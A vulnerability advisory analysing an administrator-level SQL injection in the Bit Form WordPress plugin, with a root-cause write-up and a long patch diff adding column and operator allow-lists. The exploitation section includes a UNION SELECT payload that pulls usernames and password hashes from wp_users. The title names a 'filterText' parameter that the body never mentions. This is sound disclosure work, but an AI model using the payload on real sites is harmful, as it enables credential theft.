Published : August 13, 2026

CVE-2026-16810: Bit Form <= 3.2.0 Authenticated (Administrator+) SQL Injection via 'filterText' Parameter PoC, Patch Analysis & Rule

Plugin bit-form
Severity Medium (CVSS 6.5)
CWE 89
Vulnerable Version 3.2.0
Patched Version 3.2.1
Disclosed August 12, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-16810:

This vulnerability is a generic SQL injection in the Bit Form WordPress plugin, affecting all versions up to and including 3.2.0. The flaw resides in the admin AJAX handler for retrieving form entries, specifically in the handling of the ‘data[queryCondition]’ parameter. An authenticated attacker with administrator-level access can manipulate this parameter to inject arbitrary SQL, potentially extracting sensitive data from the WordPress database. The CVSS score of 6.5 reflects the need for high-privilege access, but the impact is severe due to the potential for full database compromise.

Root Cause: The root cause is insufficient sanitization and preparation of the ‘queryCondition’ parameter in the ‘getFormEntry’ method of the AdminFormHandler class (includes/Admin/Form/AdminFormHandler.php). The diff shows that before the patch, the raw request value was passed directly to the model layer for SQL query building. In the Model class (includes/Core/Database/Model.php), the ‘getFormatedCondition’ method allowed condition keys to be used as-is in the SQL WHERE clause without validation, and it supported a ‘raw’ key that passed raw SQL fragments directly into the query without escaping or preparation. Attackers could supply a crafted ‘queryCondition’ array with a ‘raw’ value containing SQL injection payload, which would be concatenated directly into the WHERE clause. The lack of allow-listing for column names and operators, combined with the raw SQL handling, enabled arbitrary SQL injection.

Exploitation: To exploit this, an authenticated administrator would craft a POST request to the admin-ajax.php endpoint with the action ‘bitforms_save’ or the specific AJAX action that triggers ‘getFormEntry’. The nonce ‘bitforms_save’ is verified, but since the attacker is an admin, they can obtain a valid nonce. The vulnerable parameter is ‘data[queryCondition]’, which is an array. The attacker can include a ‘raw’ key within it, for example: ‘data[queryCondition][raw]’ => ‘1=1 UNION SELECT user_login, user_pass FROM wp_users — ‘. When the plugin processes this, it would merge the raw SQL into the WHERE clause, allowing the attacker to retrieve user credentials and hashes. The exploit targets the ‘getFormEntry’ method, which is invoked via AJAX with the ‘data’ parameter containing ‘id’, ‘queryCondition’, and other fields.

Patch Analysis: The patch introduces a new method ‘sanitizeEntryQueryCondition’ in AdminFormHandler.php. This method validates the ‘queryCondition’ array, allowing only known entry-table columns as keys and a restricted set of operators. It strips any ‘raw’ key from the array entirely, preventing raw SQL fragments from reaching the model layer. Additionally, the patch enhances the Model class by adding ‘isSafeConditionIdentifier’ and ‘isSafeConditionOperator’ methods, which validate column names and operators before using them in SQL. The ‘getFormatedCondition’ method now returns an impossible condition (WHERE 1=0) if any unsafe identifier or operator is detected. The patch also adds a check for unbindable values in the execute method, preventing arrays or objects from being used as bound parameters. These changes effectively block the SQL injection by filtering out malicious input at multiple layers.

Impact: If exploited, this vulnerability allows an authenticated administrator to extract sensitive information from the WordPress database, including user credentials (username and password hashes), API keys, session tokens, and other plugin data. This could lead to further privilege escalation if the attacker obtains administrator credentials, or to complete site compromise if they extract database credentials. Even though the attacker already has admin-level access, the ability to read arbitrary database contents, including data not exposed through the admin interface, significantly raises the risk. The vulnerability could also be used to modify or delete data, though the primary risk is data exfiltration.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/bit-form/bitforms.php
+++ b/bit-form/bitforms.php
@@ -4,7 +4,7 @@
  * Plugin Name: Bit Form
  * Plugin URI:  https://www.bitapps.pro/bit-form
  * Description: Contact Form Builder Plugin: Multi Step Contact Form, Payment Form, Custom Contact Form Plugin by Bit Form
- * Version:     3.2.0
+ * Version:     3.2.1
  * Author:      Contact Form Builder - Bit Form
  * Author URI:  https://www.bitapps.pro
  * Text Domain: bit-form
@@ -22,9 +22,9 @@
 }

 // Define most essential constants.
-define('BITFORMS_VERSION', '3.2.0');
+define('BITFORMS_VERSION', '3.2.1');
 define('BITFORMS_PLUGIN_MAIN_FILE', __FILE__);
-define('BITFORMS_REQUIRED_BITFORMPRO_VERSION', '3.2.0');
+define('BITFORMS_REQUIRED_BITFORMPRO_VERSION', '3.2.1');

 global $bitforms_db_version;
 $bitforms_db_version = '3.2';
@@ -105,7 +105,21 @@
     return;
   }

-  $update_url = esc_url(admin_url('plugins.php?plugin_status=upgrade'));
+  // "Update now" triggers WordPress core's native plugin-update flow (Plugin_Upgrader:
+  // maintenance mode, filesystem creds, rollback UI) for users who can update plugins.
+  // Others fall back to the filtered Plugins screen. The update itself is staged into the
+  // update_plugins transient by Bit Form Pro's own Updater.
+  $pro_plugin_file = 'bitformpro/bitformpro.php';
+  if (current_user_can('update_plugins')) {
+    $update_url = wp_nonce_url(
+      self_admin_url('update.php?action=upgrade-plugin&plugin=' . $pro_plugin_file),
+      'upgrade-plugin_' . $pro_plugin_file
+    );
+  } else {
+    // Users who cannot update plugins: send them to the Updates screen with a forced
+    // refresh so Bit Form Pro's Updater re-checks and stages the update for detection.
+    $update_url = self_admin_url('update-core.php?force-check=1');
+  }
   $required = esc_html(BITFORMS_REQUIRED_BITFORMPRO_VERSION);

   // Keep HTML out of translatable strings to prevent translator HTML injection
@@ -115,7 +129,7 @@
         esc_html__('requires an update to version %s or higher for full compatibility.', 'bit-form'),
         '<strong>' . $required . '</strong>'
       )
-      . ' <a href="' . $update_url . '">' . esc_html__('Update now', 'bit-form') . '</a>';
+      . ' <a href="' . esc_url($update_url) . '">' . esc_html__('Update now', 'bit-form') . '</a>';

   wp_admin_notice(
     $message,
--- a/bit-form/includes/Admin/AdminAjax.php
+++ b/bit-form/includes/Admin/AdminAjax.php
@@ -2007,7 +2007,7 @@
   {
     if (isset($_REQUEST['_ajax_nonce']) && wp_verify_nonce(sanitize_text_field(wp_unslash($_REQUEST['_ajax_nonce'])), 'bitforms_save')) {
       $this->verifyAdminPermission();
-      $data = get_option('bitform_app_config', (object) ['cache_plugin' => 0, 'delete_table' => 0]);
+      $data = get_option('bitform_app_config', (object) ['cache_plugin' => true, 'delete_table' => 0]);

       if (is_wp_error($data)) {
         wp_send_json_error($data->get_error_message(), 411);
--- a/bit-form/includes/Admin/Form/AdminFormHandler.php
+++ b/bit-form/includes/Admin/Form/AdminFormHandler.php
@@ -665,7 +665,12 @@
             unset($templateDetail->clRef);
           }
         } else {
-          $emailTemplateHandler->updateTemplate($templateDetail);
+          $updated = $emailTemplateHandler->updateTemplate($templateDetail);
+          if (is_wp_error($updated) && 'db_error' === $updated->get_error_code()) {
+            $newData['mailTemplate'] = 2;
+          } elseif (0 === $newData['mailTemplate']) {
+            $newData['mailTemplate'] = 1;
+          }
         }
       }
     }
@@ -812,7 +817,11 @@
       $fieldNames['__updated_at'] = __('Modified Time', 'bit-form');

       $reportIsDefault = null;
-      if (isset($form_content['report_id'])) {
+      // The client posts currentReport as {} whenever its report atom has not resolved yet. That
+      // is an empty stdClass, which empty() above treats as non-empty, so we reach here with
+      // nothing to save — and writing the validated result would replace the stored report's
+      // column order, hidden columns, page size and name with an empty list. Leave the row alone.
+      if (isset($form_content['report_id']) && ReportsModel::isValidatableReport($reports)) {
         $validDateReport = $reportsModel->validateReportFields($reports, $fieldNames);
         if (isset($reports->isDefault)) {
           $reportIsDefault = $reports->isDefault;
@@ -1113,7 +1122,7 @@
         'formInfo'      => !empty($form_content->formInfo) ? $form_content->formInfo : (object) ['formName' => $formManager->getFormName()],
         'fields'        => $form_content->fields,
         'form_name'     => $formManager->getFormName(),
-        'workFlowExist' => $form_content->workFlowExist,
+        'workFlowExist' => isset($form_content->workFlowExist) ? $form_content->workFlowExist : [],
         'report_id'     => isset($form_content->report_id) ? $form_content->report_id : null
       ];
       $successMessageHandler
@@ -1411,7 +1420,7 @@
         'layout'        => $form_content->layout,
         'fields'        => $form_content->fields,
         'form_name'     => $formManager->getFormName(),
-        'workFlowExist' => $form_content->workFlowExist,
+        'workFlowExist' => isset($form_content->workFlowExist) ? $form_content->workFlowExist : [],
         'report_id'     => isset($form_content->report_id) ? $form_content->report_id : null
       ];
       $successMessageHandler
@@ -2020,6 +2029,63 @@
     return $response;
   }

+  /**
+   * Sanitize a request-supplied entry query condition before it reaches the Model
+   * layer. Only known entry-table columns are allowed as condition keys, operators
+   * are restricted to a safe allow-list ['form_id' => $id] when nothing valid remains.
+   *
+   * @param mixed $queryCondition
+   * @param int   $id
+   * @return array
+   */
+  private function sanitizeEntryQueryCondition($queryCondition, $id)
+  {
+    $allowedColumns = [
+      'id', 'form_id', 'status', 'created_at', 'updated_at',
+      'user_id', 'user_ip', 'user_device', 'user_location', 'referer',
+    ];
+    $allowedOperators = ['=', '!=', '<>', '<', '>', '<=', '>=', 'LIKE', 'IN'];
+
+    if (!is_array($queryCondition)) {
+      return ['form_id' => $id];
+    }
+
+    $safe = [];
+    foreach ($queryCondition as $key => $value) {
+      if (!in_array($key, $allowedColumns, true)) {
+        continue;
+      }
+
+      if (is_array($value)) {
+        // Never honour a request-supplied raw SQL fragment.
+        unset($value['raw']);
+
+        if (array_key_exists('operator', $value) || array_key_exists('value', $value)) {
+          $operator = isset($value['operator']) && is_string($value['operator'])
+            ? strtoupper(trim($value['operator']))
+            : '=';
+          if (!in_array($operator, $allowedOperators, true)) {
+            $operator = '=';
+          }
+          $condValue = isset($value['value']) ? $value['value'] : '';
+          if (is_scalar($condValue)) {
+            $safe[$key] = ['operator' => $operator, 'value' => $condValue];
+          }
+        } else {
+          // IN-style list: keep scalar members only (bound by the Model).
+          $list = array_values(array_filter($value, 'is_scalar'));
+          if (!empty($list)) {
+            $safe[$key] = $list;
+          }
+        }
+      } elseif (is_scalar($value)) {
+        $safe[$key] = $value;
+      }
+    }
+
+    return empty($safe) ? ['form_id' => $id] : $safe;
+  }
+
   public function getFormEntry($Request, $post)
   {
     if (!empty($Request['id'])) {
@@ -2041,6 +2107,7 @@
         wp_unslash($post->pageSize) : 10;
       $queryCondition = isset($post->queryCondition) ? wp_unslash($post->queryCondition) : ['form_id' => $id];
     }
+    $queryCondition = $this->sanitizeEntryQueryCondition($queryCondition, $id);
     if (is_null($id)) {
       return new WP_Error('empty_form', __('Form id is empty.', 'bit-form'));
     }
--- a/bit-form/includes/Admin/Form/FrontEndScriptGenerator.php
+++ b/bit-form/includes/Admin/Form/FrontEndScriptGenerator.php
@@ -559,7 +559,13 @@
   private function jsHiddenFieldScript()
   {
     $appConfig = get_option('bitform_app_config');
-    if (Helpers::property_exists_nested($appConfig, 'cache_plugin', true)) {
+    $cacheTokenEnabled = true;
+    if (is_object($appConfig) && property_exists($appConfig, 'cache_plugin')) {
+      $cacheTokenEnabled = (bool) $appConfig->cache_plugin;
+    } elseif (is_array($appConfig) && array_key_exists('cache_plugin', $appConfig)) {
+      $cacheTokenEnabled = (bool) $appConfig['cache_plugin'];
+    }
+    if ($cacheTokenEnabled) {
       $fileArr = ScriptFilePriorityManager::frontendScriptFile()['hidden-token-field'];
       $this->addScriptInLoadedScriptsList($fileArr);
       return;
--- a/bit-form/includes/Admin/Form/Template/TemplateProvider.php
+++ b/bit-form/includes/Admin/Form/Template/TemplateProvider.php
@@ -48,7 +48,7 @@
    * Undocumented function
    *
    * @param String $name
-   * @return void
+   * @return array|false
    */
   protected function setTemplate($name = 'Contact Form', $newFormId)
   {
@@ -71,7 +71,7 @@
   /**
    * This function helps to get TEMPLATE
    *
-   * @return bool setTemplate()
+   * @return array|false
    */
   public function getTemplate($name, $newFormId)
   {
--- a/bit-form/includes/Core/Api/BitFormPublicApi.php
+++ b/bit-form/includes/Core/Api/BitFormPublicApi.php
@@ -0,0 +1,225 @@
+<?php
+
+/**
+ * Public helper API for sibling Bit Apps plugins (currently consumed by Bit CRM).
+ *
+ * Exposed through the `bitform/api/*` filters registered in CoreHooksHooks -
+ * consumers should call apply_filters() with a null default instead of touching
+ * this class directly, so an absent or older Bit Form can never fatal them.
+ */
+
+namespace BitCodeBitFormCoreApi;
+
+if (!defined('ABSPATH')) {
+  exit;
+}
+
+use BitCodeBitFormAdminFormAdminFormHandler;
+use BitCodeBitFormAdminFormAdminFormManager;
+use WP_Error;
+
+final class BitFormPublicApi
+{
+  public const CRM_INTEGRATION_TYPE = 'Bit CRM';
+
+  /**
+   * Forms that have a Bit CRM integration attached
+   *
+   * @return array[]|WP_Error items: {formId, formName, shortcode, createdAt, entriesCount,
+   *                          formStatus, integrationId, integrationStatus, urls}
+   */
+  public static function getCrmIntegratedForms()
+  {
+    $permission = self::guard();
+    if (is_wp_error($permission)) {
+      return $permission;
+    }
+
+    global $wpdb;
+    $rows = $wpdb->get_results(
+      $wpdb->prepare(
+        "SELECT forms.id, forms.form_name, forms.status as form_status, forms.created_at,
+                integ.id as integration_id, integ.status as integration_status,
+                COUNT(entries.id) as entries_count
+        FROM `{$wpdb->prefix}bitforms_integration` as integ
+        INNER JOIN `{$wpdb->prefix}bitforms_form` as forms ON forms.id = integ.form_id
+        LEFT JOIN `{$wpdb->prefix}bitforms_form_entries` as entries ON forms.id = entries.form_id
+        WHERE integ.integration_type = %s AND integ.category = %s
+        GROUP BY forms.id, forms.form_name, forms.status, forms.created_at, integ.id, integ.status",
+        self::CRM_INTEGRATION_TYPE,
+        'form'
+      )
+    );
+
+    if (is_null($rows)) {
+      return [];
+    }
+
+    $forms = [];
+    foreach ($rows as $row) {
+      $formId = (int) $row->id;
+      $forms[] = [
+        'formId'            => $formId,
+        'formName'          => $row->form_name,
+        'shortcode'         => '[bitform id="' . $formId . '"]',
+        'createdAt'         => $row->created_at,
+        'entriesCount'      => (int) $row->entries_count,
+        'formStatus'        => (int) $row->form_status,
+        'integrationId'     => (int) $row->integration_id,
+        'integrationStatus' => (int) $row->integration_status,
+        'urls'              => self::buildUrls($formId),
+      ];
+    }
+    return $forms;
+  }
+
+  /**
+   * Publish/unpublish a form (controls the form list toggle in Bit CRM)
+   *
+   * @param int $formId form id
+   * @param int $status 1 published, 0 unpublished
+   *
+   * @return true|WP_Error
+   */
+  public static function toggleFormStatus($formId, $status)
+  {
+    $permission = self::guard();
+    if (is_wp_error($permission)) {
+      return $permission;
+    }
+
+    $formId = absint($formId);
+    $status = absint($status) ? 1 : 0;
+    if (empty($formId)) {
+      return new WP_Error('bitform_invalid_args', __('Form id is required', 'bit-form'));
+    }
+    if (!(new AdminFormManager($formId))->isExist()) {
+      return new WP_Error('bitform_not_found', __('Form not found', 'bit-form'));
+    }
+
+    // reuse the exact form-status handler the admin Form List uses (user tracking + validation)
+    $result = (new AdminFormHandler())->changeFormStatus(
+      ['id' => $formId, 'status' => $status ? 'true' : 'false'],
+      (object) []
+    );
+    if (is_wp_error($result)) {
+      // a 0-row update means the form already has the requested status - not a failure
+      if ('result_empty' === $result->get_error_code()) {
+        return true;
+      }
+      return $result;
+    }
+    if (!$result) {
+      return new WP_Error('bitform_status_failed', __('Failed to change form status', 'bit-form'));
+    }
+    return true;
+  }
+
+  /**
+   * Build the URL that opens the Bit Form builder to create a CRM-integrated form.
+   *
+   * A valid form cannot be built server-side: the builder's theme/style state
+   * (themeVars/themeColors/style) is JCOF-encoded output of the React themeProvider,
+   * generated in the browser from the template's JS data. So instead of inserting a
+   * half-built row (which opens blank), we return a URL that drives the exact same
+   * client flow as the template gallery's "Use Template" button. Bit CRM opens it in
+   * a new tab; the builder loads the template, sets the title, attaches the Bit CRM
+   * integration, and auto-saves. If a same-origin returnUrl is given, the tab then
+   * navigates back to Bit CRM; otherwise the user stays in the editor on the new form.
+   *
+   * The flow is integration-agnostic. To auto-attach an integration to the new form,
+   * pass an `integration` descriptor; Bit CRM sends {type: 'Bit CRM', config: {tagIds,
+   * newTagTitles}}. Any plugin can drive the same flow with its own integration type.
+   *
+   * $args:
+   *  - title        string  required, max 50 chars
+   *  - templateSlug string  optional frontend template slug, default 'contact_form'
+   *  - integration      array  optional {type: string, name?: string, config?: array}
+   *  - returnUrl        string optional same-origin URL to return to after creation
+   *  - closeAfterCreate bool   optional close the tab after save (needs a script-opened
+   *                            tab, i.e. window.open); falls back to returnUrl if blocked
+   *
+   * @return array|WP_Error {createUrl}
+   */
+  public static function getCreateFormUrl($args)
+  {
+    $permission = self::guard();
+    if (is_wp_error($permission)) {
+      return $permission;
+    }
+
+    $args = (array) $args;
+    $title = isset($args['title']) ? sanitize_text_field($args['title']) : '';
+    if ('' === $title) {
+      return new WP_Error('bitform_invalid_args', __('Form title is required', 'bit-form'));
+    }
+    if (strlen($title) > 50) {
+      $title = substr($title, 0, 50);
+    }
+    $slug = empty($args['templateSlug']) ? 'contact_form' : sanitize_text_field($args['templateSlug']);
+
+    // only allow a same-site returnUrl - never an open redirect to another host
+    $returnUrl = '';
+    if (!empty($args['returnUrl'])) {
+      $candidate = esc_url_raw($args['returnUrl']);
+      if ($candidate && wp_parse_url($candidate, PHP_URL_HOST) === wp_parse_url(site_url(), PHP_URL_HOST)) {
+        $returnUrl = $candidate;
+      }
+    }
+
+    $integration = '';
+    if (!empty($args['integration']) && !empty($args['integration']['type'])) {
+      $integration = wp_json_encode($args['integration']);
+    }
+
+    $query = array_filter(
+      [
+        'title'            => $title,
+        'template'         => $slug,
+        'integration'      => $integration,
+        'returnUrl'        => $returnUrl,
+        'closeAfterCreate' => empty($args['closeAfterCreate']) ? '' : '1',
+      ],
+      static function ($value) {
+        return '' !== $value;
+      }
+    );
+
+    // hash route consumed by the React ExternalFormCreate entry (see frontend-dev App.jsx)
+    $createUrl = admin_url('admin.php?page=bitform') . '#/create-form?' . http_build_query($query);
+
+    return ['createUrl' => $createUrl];
+  }
+
+  /**
+   * Admin URLs of a form inside the Bit Form SPA
+   *
+   * @param int $formId
+   *
+   * @return array
+   */
+  public static function buildUrls($formId)
+  {
+    $formId = absint($formId);
+    return [
+      'editForm'        => admin_url('admin.php?page=bitform#/form/builder/edit/' . $formId . '/add-fields'),
+      // per-integration deep link is index-based in the SPA, so link to the list
+      'editIntegration' => admin_url('admin.php?page=bitform#/form/settings/edit/' . $formId . '/integrations'),
+      'viewEntries'     => admin_url('admin.php?page=bitform#/form/responses/edit/' . $formId . '/'),
+      'preview'         => site_url('/?bitform-form-view=' . $formId),
+    ];
+  }
+
+  /**
+   * Capability gate: never trust the caller's (e.g. Bit CRM REST) context
+   *
+   * @return true|WP_Error
+   */
+  private static function guard()
+  {
+    if (!current_user_can('manage_bitform') && !current_user_can('manage_options')) {
+      return new WP_Error('bitform_forbidden', __('Insufficient permissions.', 'bit-form'));
+    }
+    return true;
+  }
+}
--- a/bit-form/includes/Core/Cryptography/SodiumCompat.php
+++ b/bit-form/includes/Core/Cryptography/SodiumCompat.php
@@ -9,10 +9,18 @@
 {
   public function __construct()
   {
-    if (!class_exists('ParagonIE_Sodium_Compat')) {
-      require_once ABSPATH . WPINC . '/sodium_compat/autoload.php';
-      Log::debug_log(class_exists('ParagonIE_Sodium_Compat') ? 'Found' : 'ParagonIESodiumCompat not found');
+    if (class_exists('ParagonIE_Sodium_Compat')) {
+      return;
     }
+
+    $autoloader = ABSPATH . WPINC . '/sodium_compat/autoload.php';
+    if (!is_readable($autoloader)) {
+      Log::debug_log('WordPress sodium_compat autoloader not readable at ' . $autoloader);
+
+      return;
+    }
+
+    require_once $autoloader;
   }

   /**
--- a/bit-form/includes/Core/Database/Model.php
+++ b/bit-form/includes/Core/Database/Model.php
@@ -10,6 +10,7 @@
  * Undocumented class
  */

+use BitCodeBitFormCoreUtilLog;
 use WP_Error;

 class Model
@@ -31,9 +32,9 @@
   }

   /**
-   * Undocumented function
+   * Insert a row
    *
-   * @return void
+   * @return mixed insert id on success, WP_Error on failure
    */
   public function insert($data = [])
   {
@@ -80,7 +81,17 @@
     $order = null;
     if (!is_null($order_by)) {
       $order_follow = is_null($order_follow) ? 'ASC' : $order_follow;
-      $order .= " ORDER BY $order_by $order_follow";
+      $direction = is_string($order_follow) ? strtoupper(trim($order_follow)) : '';
+      if ($this->isSafeConditionIdentifier($order_by) && in_array($direction, ['ASC', 'DESC'], true)) {
+        $order .= ' ORDER BY ' . $this->quoteIdentifier($order_by) . ' ' . $direction;
+      } else {
+        Log::debug_log([
+          'message'      => 'Model::get() ignored an unsafe ORDER BY',
+          'table'        => $this->table_name,
+          'order_by'     => $order_by,
+          'order_follow' => $order_follow,
+        ]);
+      }
     }
     $paginate = null;
     if (!is_null($limit)) {
@@ -376,6 +387,86 @@
         '%d' : (('double' === gettype($value)) ? '%f' : '%s');
   }

+  /**
+   *
+   * @param mixed $identifier
+   *
+   * @return bool
+   */
+  protected function isSafeConditionIdentifier($identifier)
+  {
+    if (!is_string($identifier)) {
+      return false;
+    }
+    $identifier = trim($identifier);
+    if ('' === $identifier) {
+      return false;
+    }
+
+    // A condition column may be table-qualified and backtick-quoted — the multi-table JOIN DELETE
+    // in FormEntryModel::bulkDelete() *must* pass `wp_bitforms_form_entries`.`id`, because a bare
+    // `id` is ambiguous across the two joined tables. Validate each segment on its own.
+    $parts = explode('.', $identifier);
+    if (count($parts) > 2) {
+      return false;
+    }
+    foreach ($parts as $part) {
+      $part = trim($part);
+      if (strlen($part) > 1 && '`' === $part[0] && '`' === substr($part, -1)) {
+        $part = substr($part, 1, -1);
+      }
+      if (1 !== preg_match('/^[A-Za-z_][A-Za-z0-9_]*$/', $part)) {
+        return false;
+      }
+    }
+
+    return true;
+  }
+
+  /**
+   * Backtick-quote a validated identifier, leaving an already-quoted or table-qualified one alone.
+   * Only ever call this on a value isSafeConditionIdentifier() has approved.
+   *
+   * @param string $identifier
+   *
+   * @return string
+   */
+  protected function quoteIdentifier($identifier)
+  {
+    $identifier = trim($identifier);
+    if (false !== strpos($identifier, '`') || false !== strpos($identifier, '.')) {
+      return $identifier;
+    }
+
+    return '`' . $identifier . '`';
+  }
+
+  /**
+   * @param mixed $operator
+   *
+   * @return bool
+   */
+  protected function isSafeConditionOperator($operator)
+  {
+    static $allowed = ['=', '!=', '<>', '<', '>', '<=', '>=', 'LIKE', 'NOT LIKE', 'IN', 'NOT IN', 'IS', 'IS NOT'];
+
+    return is_string($operator) && in_array(strtoupper(trim($operator)), $allowed, true);
+  }
+
+  /**
+   * A WHERE that matches nothing. Keeps a placeholder so the caller's
+   * $wpdb->prepare($sql, $values) still has something to bind.
+   *
+   * @return array
+   */
+  private function impossibleCondition()
+  {
+    return [
+      'conditions' => ' WHERE 1=%d ',
+      'values'     => [0],
+    ];
+  }
+
   protected function getFormatedCondition($condition, $check_operator = null, $join_operator = ' AND ')
   {
     if (is_null($condition)) {
@@ -386,11 +477,16 @@
     $condition_to_check = ' WHERE ';
     $all_values = [];
     foreach ($condition as $key => $value) {
+      if (!$this->isSafeConditionIdentifier($key)) {
+        return $this->impossibleCondition();
+      }
       $value_type = '';
       if (is_array($value)) {
         // Check for raw SQL values first
         if (isset($value['raw'])) {
-          // Handle raw SQL - don't format or add to prepared values
+          if (!is_string($value['raw'])) {
+            return $this->impossibleCondition();
+          }
           $set_check_operator = isset($value['operator']) ? $value['operator'] : '=';
           $value_type = $value['raw']; // Use raw SQL directly
           // Don't add to $all_values since it's raw SQL
@@ -421,6 +517,9 @@
         $value_type .= $this->getFieldFormat($value);
         $all_values[] = $value;
       }
+      if (!$this->isSafeConditionOperator($set_check_operator)) {
+        return $this->impossibleCondition();
+      }
       $condition_to_check = $condition_to_check . $key . " $set_check_operator " . $value_type;
       if ($index_checker < $no_condition - 1) {
         $condition_to_check = $condition_to_check . " $join_operator ";
@@ -433,6 +532,22 @@
     ];
   }

+  /**
+   * @param array $values values about to be bound by $wpdb->prepare()
+   *
+   * @return string|null the offending PHP type, or null when every value is bindable
+   */
+  private function findUnbindableValue(array $values)
+  {
+    foreach ($values as $value) {
+      if (!is_scalar($value) && !is_null($value)) {
+        return gettype($value);
+      }
+    }
+
+    return null;
+  }
+
   protected function checkCondition(array $condition)
   {
     if (!is_null($condition) && array_keys($condition) === range(0, count($condition) - 1)) {
@@ -446,9 +561,24 @@

   protected function execute($sql, $values = null)
   {
+    // Clear the previous call's outcome before running a new query, so a failure can never be
+    // read back by whatever this instance is used for next.
+    $this->db_response = null;
     if (is_null($values)) {
       $preparedQuery = $sql;
     } else {
+      $invalid = $this->findUnbindableValue((array) $values);
+      if (null !== $invalid) {
+        Log::debug_log([
+          'message' => 'Model::execute() received an unbindable condition value',
+          'table'   => $this->table_name,
+          'type'    => $invalid,
+          'sql'     => $sql,
+        ]);
+        $this->db_response = new WP_Error('invalid_query_value', 'Query value must be scalar, ' . $invalid . ' given');
+
+        return $this;
+      }
       $preparedQuery = $this->app_db->prepare($sql, $values);
     }
     // echo " Q S " . $preparedQuery . " Q  EE";
@@ -464,7 +594,19 @@

   protected function getResult($db_response = null)
   {
-    $db_response = !empty($this->db_response) ? $this->db_response : $db_response;
+    // The caller's own result wins. $db_response is an instance property that only execute()
+    // writes, and models are reused (AdminFormHandler keeps a static FormModel for the whole
+    // request), so letting the property override an explicitly passed result made insert() and
+    // update() report the outcome of some earlier, unrelated query on the same object.
+    // Without this fallback, execute()->getResult() (which passes no argument) never sees the
+    // query it just ran and every read returns 'result_empty'.
+    if (null === $db_response) {
+      $db_response = $this->db_response;
+    }
+
+    if (is_wp_error($db_response)) {
+      return $db_response;
+    }
     if (!empty($this->app_db->last_error)) {
       return new WP_Error('db_error', $this->app_db->last_error);
     }
--- a/bit-form/includes/Core/Database/ReportsModel.php
+++ b/bit-form/includes/Core/Database/ReportsModel.php
@@ -15,9 +15,28 @@
 {
   protected static $table = 'bitforms_reports';

+  /**
+   * Whether a report payload carries enough to validate.
+   *
+   * The save path feeds this the request's `currentReport`, and the React `$reportSelector` atom
+   * yields `{}` whenever the report list has not resolved — an empty stdClass, which PHP's
+   * empty() reports as non-empty. Callers must therefore ask before acting on it.
+   *
+   * @param mixed $reportData
+   *
+   * @return bool
+   */
+  public static function isValidatableReport($reportData)
+  {
+    return is_object($reportData) && !empty($reportData->type) && isset($reportData->details);
+  }
+
   public function validateReportFields($reportData, $fieldNames)
   {
     $reportDetails = [];
+    if (!self::isValidatableReport($reportData)) {
+      return $reportDetails;
+    }
     switch ($reportData->type) {
       case 'table':
         $tableAction = 'table_ac';
--- a/bit-form/includes/Core/Form/FormManager.php
+++ b/bit-form/includes/Core/Form/FormManager.php
@@ -619,7 +619,7 @@
    *
    * @param array|object $layout       single layout or array of steps ({layout} each)
    * @param object|null  $nestedLayout keyed by parent field key
-   * @param object|array $fields       raw form_content->fields
+   * @param mixed        $fields       raw form_content->fields (decoded JSON: shape is not guaranteed, hence the runtime guard)
    *
    * @return string[]|null orphan keys to drop, or null when the layout is
    *                       unusable (fail closed: drop nothing)
@@ -1696,10 +1696,14 @@
             $temp = $this->sanitize_text_recursive($_POST[$fldName]);
             unset($_POST[$fldName]);
             $_POST[$fieldKey] = $temp;
+          } elseif (array_key_exists($fieldKey, $_POST)) {
+            $_POST[$fieldKey] = $this->sanitize_text_recursive($_POST[$fieldKey]);
           } elseif (array_key_exists($fldName, $_FILES)) {
             $temp = $this->sanitize_text_recursive($_FILES[$fldName], false);
             unset($_FILES[$fldName]);
             $_FILES[$fieldKey] = $temp;
+          } elseif (array_key_exists($fieldKey, $_FILES)) {
+            $_FILES[$fieldKey] = $this->sanitize_text_recursive($_FILES[$fieldKey], false);
           }
           // Convert _session_id suffix (used by email-otp and similar fields)
           if (array_key_exists($fldName . '_session_id', $_POST)) {
--- a/bit-form/includes/Core/Hooks/Hooks.php
+++ b/bit-form/includes/Core/Hooks/Hooks.php
@@ -9,6 +9,7 @@
 use BitCodeBitFormAdminAdmin_Bar;
 use BitCodeBitFormAPIRouteRoutes;
 use BitCodeBitFormCoreAjaxAjaxService;
+use BitCodeBitFormCoreApiBitFormPublicApi;
 use BitCodeBitFormCoreCapabilityRequest;
 use BitCodeBitFormCoreDatabaseFormModel;
 use BitCodeBitFormCoreFallbackFormFallback;
@@ -51,6 +52,11 @@
     add_action('init', [RegisterBitformBricksWidget::class, 'register_widgets'], 11);
     // Add Bit Form menu to admin bar by "manage_bitform" capability
     add_filter('bitforms_form_access_capability', [Hooks::class, 'bitformMenuAccessCapability']);
+
+    // Public API bridge for sibling Bit Apps plugins (Bit CRM). Consumers call
+    add_filter('bitform/api/crm_integrated_forms', fn ($default = null) => BitFormPublicApi::getCrmIntegratedForms(), 10, 1);
+    add_filter('bitform/api/toggle_form_status', fn ($default = null, $formId = 0, $status = 0) => BitFormPublicApi::toggleFormStatus($formId, $status), 10, 3);
+    add_filter('bitform/api/create_form_url', fn ($default = null, $args = []) => BitFormPublicApi::getCreateFormUrl($args), 10, 2);
   }

   public static function updateBitFormVersion()
--- a/bit-form/includes/Core/Integration/BitCRM/BitCRMHandler.php
+++ b/bit-form/includes/Core/Integration/BitCRM/BitCRMHandler.php
@@ -0,0 +1,291 @@
+<?php
+
+/**
+ * Bit CRM Integration
+ *
+ */
+
+namespace BitCodeBitFormCoreIntegrationBitCRM;
+
+if (!defined('ABSPATH')) {
+  exit;
+}
+
+use BitCodeBitFormCoreIntegrationIntegrationHandler;
+use BitCodeBitFormCoreUtilApiResponse as UtilApiResponse;
+use WP_Error;
+
+/**
+ * Provide functionality for Bit CRM integration
+ */
+class BitCRMHandler
+{
+  public const CRM_PLUGIN_BASENAME = 'bit-crm-sales-marketing-automation/bit-crm-sales-marketing-automation.php';
+
+  private $_formID;
+
+  private $_integrationID;
+
+  public function __construct($integrationID, $fromID)
+  {
+    $this->_formID = $fromID;
+    $this->_integrationID = $integrationID;
+  }
+
+  /**
+   * Helps to register ajax function's with   wp
+   *
+   * @return void
+   */
+  public static function registerAjax()
+  {
+    add_action('wp_ajax_bitforms_bitcrm_authorize', [__CLASS__, 'bitcrmAuthorize']);
+    add_action('wp_ajax_bitforms_bitcrm_fields', [__CLASS__, 'bitcrmFields']);
+    add_action('wp_ajax_bitforms_bitcrm_tags', [__CLASS__, 'bitcrmTags']);
+  }
+
+  /**
+   * Check Bit CRM plugin is active and its lead service is loadable
+   */
